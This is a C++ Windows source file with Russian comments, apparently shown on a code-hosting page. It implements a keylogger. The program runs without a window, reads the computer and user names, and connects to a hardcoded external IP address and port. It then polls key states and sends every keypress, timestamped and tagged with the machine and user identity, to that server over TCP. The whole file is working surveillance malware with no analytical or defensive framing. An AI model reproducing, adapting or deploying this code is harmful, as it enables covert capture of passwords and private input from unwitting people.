You can not select more than 25 topics Topics must start with a letter or number, can include dashes ('-') and can be up to 35 characters long.

300 lines
9.8 KiB

This file contains ambiguous Unicode characters!

This file contains ambiguous Unicode characters that may be confused with others in your current locale. If your use case is intentional and legitimate, you can safely ignore this warning. Use the Escape button to highlight these characters.

#pragma comment(lib, "ws2_32.lib")
#include <WinSock2.h>
#include <iostream>
#include <map>
#include <vector>
#include <conio.h>
#include <string>
#include <windows.h>
#include <sstream>
#include <fstream>
#pragma warning(disable: 4996)
#include "main.h"
std::map<unsigned char, std::string> BUTTON_CODES = {
// {0x01, "LMB"}, // левая кнопка мыши
// {0x02, "RMB"}, // правая кнопка мыши
// {0x03, "CTRL+Break"}, // комбинация CTRL + Break
// {0x04, "MMB"}, // средняя кнопка мыши
{0x08, "BackSpace"}, // кнопка возврата на одну позицию
{0x09, "TAB"},
{0x0D, "Enter"},
{0x10, "SHIFT_ADV"}, // вспомогательная клавиша Shift
{0x11, "CTRL"},
{0x12, "ALT"},
// {0x13, "PAUSE"},
{0x14, "Caps Lock"},
{0x1B, "ESC"},
{0x20, "Space"}, // пробел
{0x21, "Page Up"},
{0x22, "Page Down"},
{0x23, "END"},
{0x24, "HOME"},
{0x25, "Left arrow"}, // стрелка влево
{0x26, "Up arrow"}, // стрелка вверх
{0x27, "Right arrow"}, // стрелка вправо
{0x28, "Down arrow"}, // стрелка вниз
// {0x2C, "Print Screen"},
{0x2D, "Insert"},
{0x2E, "Delete"},
{0x2F, "HELP"},
{0x30, "0"},
{0x31, "1"},
{0x32, "2"},
{0x33, "3"},
{0x34, "4"},
{0x35, "5"},
{0x36, "6"},
{0x37, "7"},
{0x38, "8"},
{0x39, "9"},
{0x41, "A"},
{0x42, "B"},
{0x43, "C"},
{0x44, "D"},
{0x45, "E"},
{0x46, "F"},
{0x47, "G"},
{0x48, "H"},
{0x49, "I"},
{0x4A, "J"},
{0x4B, "K"},
{0x4C, "L"},
{0x4D, "M"},
{0x4E, "N"},
{0x4F, "O"},
{0x50, "P"},
{0x51, "Q"},
{0x52, "R"},
{0x53, "S"},
{0x54, "T"},
{0x55, "U"},
{0x56, "V"},
{0x57, "W"},
{0x58, "X"},
{0x59, "Y"},
{0x5A, "Z"},
{0x5B, "Left Windows"},
{0x5C, "Right Windows"},
{0x60, "NumPad 0"},
{0x61, "NumPad 1"},
{0x62, "NumPad 2"},
{0x63, "NumPad 3"},
{0x64, "NumPad 4"},
{0x65, "NumPad 5"},
{0x66, "NumPad 6"},
{0x67, "NumPad 7"},
{0x68, "NumPad 8"},
{0x69, "NumPad 9"},
{0x6A, "*"},
{0x6B, "+"},
{0x6C, "\\"},
{0x6D, "-"},
{0x6E, "."},
{0x6F, "/"},
{0x70, "F1"},
{0x71, "F2"},
{0x72, "F3"},
{0x73, "F4"},
{0x74, "F5"},
{0x75, "F6"},
{0x76, "F7"},
{0x77, "F8"},
{0x78, "F9"},
{0x79, "F10"},
{0x7A, "F11"},
{0x7B, "F12"},
{0x90, "Num Lock"},
// {0x91, "Scroll Lock"},
{0xA0, "Left Shift"},
{0xA1, "Right Shift"},
{0xA2, "Left CTRL"},
{0xA3, "Right CTRL"},
};
struct TCPIPPacket {
uint8_t typeID; // идентификатор типа пакета
uint32_t size; // размер всего пакета в байтах
uint32_t time; // временная метка пакета
uint32_t crc32; // контрольная сумма пакета
uint32_t pcNameSize; // количество байтов в имени компьютера
std::string pcName; // имя компьютера
uint32_t userNameSize; // количество байтов в имени пользователя
std::string userName; // имя пользователя
uint32_t keyNameSize; // количество байтов в имени нажатой клавиши
std::string keyName; // имя нажатой клавиши
TCPIPPacket() :
typeID(0xAA), size(0), time(0), crc32(0),
pcNameSize(0), pcName(""), userNameSize(0),
userName(""), keyNameSize(0), keyName("")
{
}
};
bytes_vector packetToBytes(const TCPIPPacket& rPacket); // метод преобразования пакета в вектор
uint32_t calculateCrc32(bytes_vector& vBytes); // функция расчета контрольной суммы пакета
void sendPacket(SOCKET& socket, bytes_vector& vBytes); // функция отправки пакета
void processKeyboard(SOCKET& socket, TCPIPPacket& rPacket); // обработчик клавиш
int WINAPI wWinMain(
_In_ HINSTANCE hInstance,
_In_opt_ HINSTANCE hPrevInstance,
_In_ LPWSTR lpCmdLine,
_In_ int nShowCmd
) {
TCPIPPacket packet; // пакет для отправки
TCHAR pcName[SHRT_MAX];
DWORD pcNameSize = SHRT_MAX;
TCHAR userName[SHRT_MAX];
DWORD userNameSize = SHRT_MAX;
/* получаем имя компьютера */
while (!GetComputerName(pcName, &pcNameSize)); // пока не удается получить имя компьютера, будем висеть в бесконечном цикле
packet.pcName = pcName; // сохраним имя компьютера в пакете
packet.pcNameSize = packet.pcName.length(); // запишем длину имени компьютера
/* получаем имя пользователя */
while (!GetUserName(userName, &userNameSize)); // пока не удастся получить имя пользователя, будем висеть в бесконечном цикле
packet.userName = userName; // сохраним имя пользователя в пакете
packet.userNameSize = packet.userName.length(); // запишем длину имени пользователя
/* подключаемся к серверу */
WSADATA wsaData;
const auto dllVersion = MAKEWORD(2, 1);
while (WSAStartup(dllVersion, &wsaData) != 0); // пытаемся подкючить библиотеку с сокетами бесконечно
SOCKADDR_IN socketAddress;
socketAddress.sin_addr.s_addr = inet_addr("185.158.115.73"); // IP-адрес сервер
socketAddress.sin_port = htons(51043); // порт, через который подключаемся к серверу
socketAddress.sin_family = AF_INET;
SOCKET connection = socket(AF_INET, SOCK_STREAM, NULL); // создаем сокет
while (connect(connection, (SOCKADDR*)&socketAddress, sizeof(socketAddress)) != 0); // бесконечно пытаемся подключиться к серверу
/* Отслеживаем нажатие клавиш */
while (true) {
processKeyboard(connection, packet);
}
return 0;
}
void processKeyboard(SOCKET& socket, TCPIPPacket& rPacket) {
for (const auto& mRow : BUTTON_CODES) {
const auto keyID = mRow.first; // получаем идентификатор клавиши
if (!(GetAsyncKeyState(keyID) & (1 << 16))) { // если рассматриваемая клавиша не нажата
continue; // ищем дальше
}
rPacket.time = (uint32_t)std::time(nullptr); // запишем UNIX-время
rPacket.keyName = mRow.second; // запишем имя клавиши
rPacket.keyNameSize = mRow.second.length(); // запишем длину имени клавиши в байтах
rPacket.size = [](const TCPIPPacket& rPacket) -> uint32_t { // обновляем размер пакета
return (0
+ sizeof(rPacket.typeID) // поле для хранения идентификатора пакета
+ sizeof(rPacket.size) // поле под хранение длины пакета
+ sizeof(rPacket.time) // поле под хранение временной метки
+ sizeof(rPacket.crc32) // поле под хранение контрольной суммы пакета
+ rPacket.pcName.length() // добавляем длину имени компьютера
+ sizeof(rPacket.pcNameSize) // добавляем поле под хранение длины имени компьютера
+ rPacket.userName.length() // добавляем длину имени пользователя
+ sizeof(rPacket.userNameSize) // добавляем поле под хранение длины имени пользователя
+ rPacket.keyName.length() // добавляем длину имени нажатой клавиши
+ sizeof(rPacket.keyNameSize) // добавляем поле под хранение длины имени нажатой клавиши
);
}(rPacket);
bytes_vector vBytes = packetToBytes(rPacket); // преобразуем пакет в вектор байтов
rPacket.crc32 = calculateCrc32(vBytes); // записываем контрольную сумму пакета
sendPacket(socket, vBytes); // отправляем пакет
Sleep(100); // 10 мс отдыхаем
}
Sleep(10); // 10 мс отдыхаем
}
uint32_t calculateCrc32(bytes_vector& vBytes) {
uint32_t value, crc = 0xFF'FF'FF'FF;
for (const auto byte : vBytes) {
value = (crc ^ byte) & 0xFF;
for (auto i = 0; i < CHAR_BIT; i++) {
value = (value & 0x1) ? ((value >> 1) ^ 0xED'B8'83'20) : (value >> 1);
}
crc = value ^ crc >> CHAR_BIT;
}
return crc ^ 0xFF'FF'FF'FF;
}
void sendPacket(SOCKET& socket, bytes_vector& vBytes) {
const auto size = vBytes.size();
char* message = new char[size + 1];
uint32_t i = 0;
for (const auto byte : vBytes) { // копируем байты из вектора в массив
message[i++] = byte;
}
send(socket, message, size, NULL); // отправляем сообщение по TCP/IP
delete[] message; // удаляем массив
}
template <>
void pushValue(bytes_vector& vBytes, const std::string& value) {
vBytes.insert(vBytes.end(), value.begin(), value.end());
}
bytes_vector packetToBytes(const TCPIPPacket& rPacket) {
bytes_vector vBytes;
pushValue(vBytes, rPacket.typeID); // тип пакета
pushValue(vBytes, rPacket.size); // размер пакета
pushValue(vBytes, rPacket.time); // временная метка
pushValue(vBytes, rPacket.crc32); // контрольная сумма
pushValue(vBytes, rPacket.pcNameSize); // количество байтов имени компьютера
pushValue(vBytes, rPacket.pcName); // имя компьютера
pushValue(vBytes, rPacket.userNameSize); // количество байтов имени пользователя
pushValue(vBytes, rPacket.userName); // имя пользователя
pushValue(vBytes, rPacket.keyNameSize); // количество байтов имени клавиши
pushValue(vBytes, rPacket.keyName); // имя клавиши
return vBytes;
}